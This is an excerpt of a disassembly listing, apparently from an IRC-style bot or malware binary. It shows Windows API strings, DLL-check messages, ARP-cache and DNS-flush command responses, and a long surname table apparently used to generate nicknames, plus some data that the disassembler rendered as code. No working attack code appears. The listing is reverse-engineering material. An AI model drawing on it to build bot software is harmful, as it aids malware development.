aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 4
unk_42D338	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4C8	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D4F8	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D528	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D54C	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_42D594	dd 0			; DATA XREF: sub_40B08D+7o
off_42D598	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D600	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D60C	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
; ---------------------------------------------------------------------------

loc_42DE8C:				; CODE XREF: ___:loc_42DE8Cj
		jo	short loc_42DE8C
		inc	edx
		add	[eax-2], ch
		inc	edx
		add	[eax-2], ah
		inc	edx
		add	[eax-2], bl
		inc	edx
		add	[eax-2], dl
		inc	edx
		add	[eax-2], cl
		inc	edx
		add	[eax-2], al
		inc	edx
		add	[eax], bh
		inc	byte ptr [edx+0]
		xor	dh, bh
		inc	edx
		add	[eax], ch
		inc	byte ptr [edx+0]
		and	dh, bh
		inc	edx
		add	[eax], bl
		inc	byte ptr [edx+0]
		adc	dh, bh
		inc	edx
		add	[eax], cl
		inc	byte ptr [edx+0]
		add	dh, bh
		inc	edx
		add	al, dh
		std
		inc	edx
		add	al, ch
		std
		inc	edx
		add	ah, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	al, cl
		std
		inc	edx
		add	[ebp+edi*8-24FFFBEh], bh
		inc	edx
		add	[eax-63FFBD03h], ch
		std
		inc	edx
		add	[ebp+edi*8-273FFBEh], dl
		inc	edx
		add	[ebp+edi*8-283FFBEh], al
		inc	edx
		add	[ebp+edi*8+42h], dh
		add	[eax-3], ch
		inc	edx
		add	[eax-3], ah
		inc	edx
		add	[ebp+edi*8+42h], dl
		add	[ebp+edi*8+42h], cl
		add	[ebp+edi*8+42h], al
		add	[eax], bh
		std
		inc	edx
		add	[eax], dh
		std
		inc	edx
		add	[eax], ch
		std
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	[eax], dl
		std
		inc	edx
		add	[eax], cl
		std
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
